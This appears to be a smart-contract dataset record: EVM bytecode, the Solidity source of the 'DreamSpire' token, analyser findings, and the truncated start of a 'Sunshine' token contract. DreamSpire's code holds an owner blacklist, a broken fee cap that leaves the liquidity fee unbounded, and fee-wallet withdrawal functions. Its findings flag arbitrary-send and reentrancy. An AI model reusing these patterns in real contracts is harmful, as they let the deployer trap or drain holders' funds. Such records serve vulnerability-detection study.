90509392505050565b60008282111515156116da57fe5b818303905092915050565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050808311156117f6576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061188a565b61180983826116cc90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b6000600560009054906101000a900460ff1615611a3e57600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480611a325750600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1515611a3d57600080fd5b5b611a48838361200b565b905092915050565b6000611ae182600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461222f90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515611c8957600080fd5b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515611cd757600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515611d6257600080fd5b611db482600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116cc90919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611e4982600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461222f90919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611f1b82600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116cc90919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561204857600080fd5b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561209657600080fd5b6120e882600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116cc90919063ffffffff16565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061217d82600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461222f90919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600080828401905083811015151561224357fe5b80915050929150505600a165627a7a72305820df08a911c2a554849d9e6947939229f23262a315973f1e4a5d9b7bdca0b884780029
{"success": true, "error": null, "results": {}}
7,137
0x3a026e1e299ca8b250a9e53297e36977bca4cfc4
/** *Submitted for verification at Etherscan.io on 2022-04-30 */ /* Telegram: https://t.me/DreamSpireERC Website: https://dream-spire.io/ Twitter: https://twitter.com/DreamSpireERC Medium: https://medium.com/@DreamSpire */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract DreamSpire is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private time; uint256 private _tax; uint256 private constant _tTotal = 1 * 10**12 * 10**9; uint256 private fee1=20; uint256 private fee2=20; uint256 private liqfee=20; uint256 private feeMax=100; string private constant _name = "DreamSpire"; string private constant _symbol = "DREAMS"; uint256 private _maxTxAmount = _tTotal.mul(1).div(100); uint256 private minBalance = _tTotal.div(1000); uint8 private constant _decimals = 9; address payable private _feeAddrWallet1; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () payable { _feeAddrWallet1 = payable(msg.sender); _tOwned[msg.sender] = _tTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddrWallet1] = true; uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH()); emit Transfer(address(0),msg.sender,_tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _tOwned[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function changeFees(uint8 _fee1,uint8 _fee2,uint8 _liq) external { require(_msgSender() == _feeAddrWallet1); require(_fee1 <= feeMax && _fee2 <= feeMax && liqfee <= feeMax,"Cannot set fees above maximum"); fee1 = _fee1; fee2 = _fee2; liqfee = _liq; } function changeMinBalance(uint256 newMin) external { require(_msgSender() == _feeAddrWallet1); minBalance = newMin; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); _tax = fee1.add(liqfee); if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && (block.timestamp < time)){ // Cooldown require(amount <= _maxTxAmount); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } if (!inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from]) { require(block.timestamp > time,"Sells prohibited for the first 5 minutes"); uint256 contractTokenBalance = balanceOf(address(this)); if(contractTokenBalance > minBalance){ swapAndLiquify(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } } if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _tax = fee2.add(liqfee); } _transferStandard(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function swapAndLiquify(uint256 tokenAmount) private { uint256 half = liqfee.div(2); uint256 part = fee2.add(half); uint256 sum = fee2.add(liqfee); uint256 swapTotal = tokenAmount.mul(part).div(sum); swapTokensForEth(swapTotal); addLiquidity(tokenAmount.sub(swapTotal),address(this).balance.mul(half).div(part),_feeAddrWallet1); } function addLiquidity(uint256 tokenAmount,uint256 ethAmount,address target) private lockTheSwap{ _approve(address(this),address(uniswapV2Router),tokenAmount); uniswapV2Router.addLiquidityETH{value: ethAmount}(address(this),tokenAmount,0,0,target,block.timestamp); } function sendETHToFee(uint256 amount) private { _feeAddrWallet1.transfer(amount); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); addLiquidity(balanceOf(address(this)),address(this).balance,owner()); swapEnabled = true; tradingOpen = true; time = block.timestamp + (5 minutes); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 transferAmount,uint256 tfee) = _getTValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _tOwned[recipient] = _tOwned[recipient].add(transferAmount); _tOwned[address(this)] = _tOwned[address(this)].add(tfee); emit Transfer(sender, recipient, transferAmount); } receive() external payable {} function manualswap() external { require(_msgSender() == _feeAddrWallet1); uint256 contractBalance = balanceOf(address(this)); swapAndLiquify(contractBalance); } function manualsend() external { require(_msgSender() == _feeAddrWallet1); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getTValues(uint256 tAmount) private view returns (uint256, uint256) { uint256 tFee = tAmount.mul(_tax).div(1000); uint256 tTransferAmount = tAmount.sub(tFee); return (tTransferAmount, tFee); } function recoverTokens(address tokenAddress) external { require(_msgSender() == _feeAddrWallet1); IERC20 recoveryToken = IERC20(tokenAddress); recoveryToken.transfer(_feeAddrWallet1,recoveryToken.balanceOf(address(this))); } function airDrop(address[] memory _to, uint256[] memory _amount) external onlyOwner { _tax = 0; for (uint256 i = 0;i<_to.length;i++){ _transferStandard(msg.sender,_to[i],_amount[i]); } } }
0x6080604052600436106101235760003560e01c806370a08231116100a0578063a9059cbb11610064578063a9059cbb1461035f578063b515566a1461037f578063c3c8cd801461039f578063c9567bf9146103b4578063dd62ed3e146103c957600080fd5b806370a082311461029d578063715018a6146102d35780637e37e9bb146102e85780638da5cb5b1461030857806395d89b411461033057600080fd5b8063273123b7116100e7578063273123b71461020c578063313ce5671461022c5780634ea18fab1461024857806365216a41146102685780636fc3eaec1461028857600080fd5b806306fdde031461012f578063095ea7b31461017457806316114acd146101a457806318160ddd146101c657806323b872dd146101ec57600080fd5b3661012a57005b600080fd5b34801561013b57600080fd5b5060408051808201909152600a815269447265616d537069726560b01b60208201525b60405161016b919061181b565b60405180910390f35b34801561018057600080fd5b5061019461018f36600461162b565b61040f565b604051901515815260200161016b565b3480156101b057600080fd5b506101c46101bf366004611577565b610426565b005b3480156101d257600080fd5b50683635c9adc5dea000005b60405190815260200161016b565b3480156101f857600080fd5b506101946102073660046115ea565b610553565b34801561021857600080fd5b506101c4610227366004611577565b6105bc565b34801561023857600080fd5b506040516009815260200161016b565b34801561025457600080fd5b506101c4610263366004611778565b610610565b34801561027457600080fd5b506101c4610283366004611694565b610635565b34801561029457600080fd5b506101c46106bf565b3480156102a957600080fd5b506101de6102b8366004611577565b6001600160a01b031660009081526002602052604090205490565b3480156102df57600080fd5b506101c46106ec565b3480156102f457600080fd5b506101c46103033660046117d8565b610760565b34801561031457600080fd5b506000546040516001600160a01b03909116815260200161016b565b34801561033c57600080fd5b50604080518082019091526006815265445245414d5360d01b602082015261015e565b34801561036b57600080fd5b5061019461037a36600461162b565b61080a565b34801561038b57600080fd5b506101c461039a366004611657565b610817565b3480156103ab57600080fd5b506101c46108ad565b3480156103c057600080fd5b506101c46108e6565b3480156103d557600080fd5b506101de6103e43660046115b1565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b600061041c338484610a86565b5060015b92915050565b600f546001600160a01b0316336001600160a01b03161461044657600080fd5b600f546040516370a0823160e01b815230600482015282916001600160a01b038084169263a9059cbb92919091169083906370a082319060240160206040518083038186803b15801561049857600080fd5b505afa1580156104ac573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104d09190611791565b6040516001600160e01b031960e085901b1681526001600160a01b0390921660048301526024820152604401602060405180830381600087803b15801561051657600080fd5b505af115801561052a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061054e9190611756565b505050565b6000610560848484610baa565b6105b284336105ad85604051806060016040528060288152602001611a4e602891396001600160a01b038a1660009081526003602090815260408083203384529091529020549190610f8d565b610a86565b5060019392505050565b6000546001600160a01b031633146105ef5760405162461bcd60e51b81526004016105e690611870565b60405180910390fd5b6001600160a01b03166000908152600560205260409020805460ff19169055565b600f546001600160a01b0316336001600160a01b03161461063057600080fd5b600e55565b6000546001600160a01b0316331461065f5760405162461bcd60e51b81526004016105e690611870565b600060088190555b825181101561054e576106ad3384838151811061068657610686611a0c565b60200260200101518484815181106106a0576106a0611a0c565b6020026020010151610fc7565b806106b7816119db565b915050610667565b600f546001600160a01b0316336001600160a01b0316146106df57600080fd5b476106e9816110b3565b50565b6000546001600160a01b031633146107165760405162461bcd60e51b81526004016105e690611870565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b600f546001600160a01b0316336001600160a01b03161461078057600080fd5b600c548360ff161115801561079a5750600c548260ff1611155b80156107aa5750600c54600b5411155b6107f65760405162461bcd60e51b815260206004820152601d60248201527f43616e6e6f742073657420666565732061626f7665206d6178696d756d00000060448201526064016105e6565b60ff928316600955908216600a5516600b55565b600061041c338484610baa565b6000546001600160a01b031633146108415760405162461bcd60e51b81526004016105e690611870565b60005b81518110156108a95760016005600084848151811061086557610865611a0c565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806108a1816119db565b915050610844565b5050565b600f546001600160a01b0316336001600160a01b0316146108cd57600080fd5b306000908152600260205260409020546106e9816110ed565b6000546001600160a01b031633146109105760405162461bcd60e51b81526004016105e690611870565b601154600160a01b900460ff161561096a5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016105e6565b3060009081526002602052604090205461099690476109916000546001600160a01b031690565b611188565b6011805462ff00ff60a01b19166201000160a01b1790556109b94261012c61196b565b600755565b6000826109cd57506000610420565b60006109d983856119a5565b9050826109e68583611983565b14610a3d5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016105e6565b9392505050565b6000610a3d83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061126a565b6001600160a01b038316610ae85760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105e6565b6001600160a01b038216610b495760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105e6565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c0e5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105e6565b6001600160a01b038216610c705760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105e6565b60008111610cd25760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016105e6565b600b54600954610ce191611298565b6008556000546001600160a01b03848116911614801590610d1057506000546001600160a01b03838116911614155b15610f1a576001600160a01b03831660009081526005602052604090205460ff16158015610d5757506001600160a01b03821660009081526005602052604090205460ff16155b610d6057600080fd5b6011546001600160a01b038481169116148015610d8b57506010546001600160a01b03838116911614155b8015610db057506001600160a01b03821660009081526004602052604090205460ff16155b8015610dbd575060075442105b15610e1a57600d54811115610dd157600080fd5b6001600160a01b0382166000908152600660205260409020544211610df557600080fd5b610e0042601e61196b565b6001600160a01b0383166000908152600660205260409020555b601154600160a81b900460ff16158015610e4257506011546001600160a01b03848116911614155b8015610e575750601154600160b01b900460ff165b8015610e7c57506001600160a01b03831660009081526004602052604090205460ff16155b15610f1a576007544211610ee35760405162461bcd60e51b815260206004820152602860248201527f53656c6c732070726f6869626974656420666f72207468652066697273742035604482015267206d696e7574657360c01b60648201526084016105e6565b30600090815260026020526040902054600e54811115610f1857610f06816110ed565b478015610f1657610f16476110b3565b505b505b6011546001600160a01b038381169116148015610f4557506010546001600160a01b03848116911614155b8015610f6a57506001600160a01b03831660009081526004602052604090205460ff16155b15610f8257600b54600a54610f7e91611298565b6008555b61054e838383610fc7565b60008184841115610fb15760405162461bcd60e51b81526004016105e6919061181b565b506000610fbe84866119c4565b95945050505050565b600080610fd3836112f7565b6001600160a01b0387166000908152600260205260409020549193509150610ffb9084611330565b6001600160a01b03808716600090815260026020526040808220939093559086168152205461102a9083611298565b6001600160a01b0385166000908152600260205260408082209290925530815220546110569082611298565b3060009081526002602090815260409182902092909255518381526001600160a01b0386811692908816917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35050505050565b600f546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156108a9573d6000803e3d6000fd5b600b546000906110fe906002610a44565b9050600061111782600a5461129890919063ffffffff16565b90506000611132600b54600a5461129890919063ffffffff16565b9050600061114a8261114487866109be565b90610a44565b905061115581611372565b6111816111628683611330565b6111708561114447896109be565b600f546001600160a01b0316611188565b5050505050565b6011805460ff60a81b1916600160a81b1790556010546111b39030906001600160a01b031685610a86565b60105460405163f305d71960e01b81523060048201526024810185905260006044820181905260648201526001600160a01b0383811660848301524260a48301529091169063f305d71990849060c4016060604051808303818588803b15801561121c57600080fd5b505af1158015611230573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061125591906117aa565b50506011805460ff60a81b1916905550505050565b6000818361128b5760405162461bcd60e51b81526004016105e6919061181b565b506000610fbe8486611983565b6000806112a5838561196b565b905083811015610a3d5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016105e6565b60008060006113176103e8611144600854876109be90919063ffffffff16565b905060006113258583611330565b959194509092505050565b6000610a3d83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610f8d565b6011805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106113ba576113ba611a0c565b6001600160a01b03928316602091820292909201810191909152601054604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561140e57600080fd5b505afa158015611422573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114469190611594565b8160018151811061145957611459611a0c565b6001600160a01b03928316602091820292909201015260105461147f9130911684610a86565b60105460405163791ac94760e01b81526001600160a01b039091169063791ac947906114b89085906000908690309042906004016118a5565b600060405180830381600087803b1580156114d257600080fd5b505af1158015611255573d6000803e3d6000fd5b600082601f8301126114f757600080fd5b8135602061150c61150783611947565b611916565b80838252828201915082860187848660051b890101111561152c57600080fd5b60005b8581101561155457813561154281611a38565b8452928401929084019060010161152f565b5090979650505050505050565b803560ff8116811461157257600080fd5b919050565b60006020828403121561158957600080fd5b8135610a3d81611a38565b6000602082840312156115a657600080fd5b8151610a3d81611a38565b600080604083850312156115c457600080fd5b82356115cf81611a38565b915060208301356115df81611a38565b809150509250929050565b6000806000606084860312156115ff57600080fd5b833561160a81611a38565b9250602084013561161a81611a38565b929592945050506040919091013590565b6000806040838503121561163e57600080fd5b823561164981611a38565b946020939093013593505050565b60006020828403121561166957600080fd5b813567ffffffffffffffff81111561168057600080fd5b61168c848285016114e6565b949350505050565b600080604083850312156116a757600080fd5b823567ffffffffffffffff808211156116bf57600080fd5b6116cb868387016114e6565b93506020915081850135818111156116e257600080fd5b85019050601f810186136116f557600080fd5b803561170361150782611947565b80828252848201915084840189868560051b870101111561172357600080fd5b600094505b83851015611746578035835260019490940193918501918501611728565b5080955050505050509250929050565b60006020828403121561176857600080fd5b81518015158114610a3d57600080fd5b60006020828403121561178a57600080fd5b5035919050565b6000602082840312156117a357600080fd5b5051919050565b6000806000606084860312156117bf57600080fd5b8351925060208401519150604084015190509250925092565b6000806000606084860312156117ed57600080fd5b6117f684611561565b925061180460208501611561565b915061181260408501611561565b90509250925092565b600060208083528351808285015260005b818110156118485785810183015185820160400152820161182c565b8181111561185a576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156118f55784516001600160a01b0316835293830193918301916001016118d0565b50506001600160a01b03969096166060850152505050608001529392505050565b604051601f8201601f1916810167ffffffffffffffff8111828210171561193f5761193f611a22565b604052919050565b600067ffffffffffffffff82111561196157611961611a22565b5060051b60200190565b6000821982111561197e5761197e6119f6565b500190565b6000826119a057634e487b7160e01b600052601260045260246000fd5b500490565b60008160001904831182151516156119bf576119bf6119f6565b500290565b6000828210156119d6576119d66119f6565b500390565b60006000198214156119ef576119ef6119f6565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146106e957600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220263bcd89d6d9e9c6dbcde21f4c33e7e580e0899ba0c126390c32cb2746908d4a64736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
7,138
0xdd721337b62374c74cfe1c9bf60255d389fd9a98
/** Keep your face to the sun and you will never see the shadows. - 5% max transaction amount on launch - Liquidity Lock & Contract ownership renounce - 100% Community token - Low fees ▓▓▓▓▓▓ ▓▓▒▒▒▒▒▒▓▓ ██████▓▓▒▒▒▒▒▒▒▒▒▒▓▓ ██ ██▒▒▒▒▒▒▒▒▒▒▓▓ ██ ████▒▒▒▒▒▒▓▓ ██ ▒▒██░░▓▓ ████▒▒ ██▓▓ ██████ ▒▒ ▒▒▒▒████ ██▒▒ ▒▒ ▒▒ ▒▒██ ██▒▒▒▒ ▒▒▒▒▒▒▒▒▒▒▒▒ ▒▒██ ██▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒██ ██████████████████████████████████ - Sunshinetoken.com */ // SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract Sunshine is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Sunshine"; string private constant _symbol = "SUN"; uint8 private constant _decimals = 9; 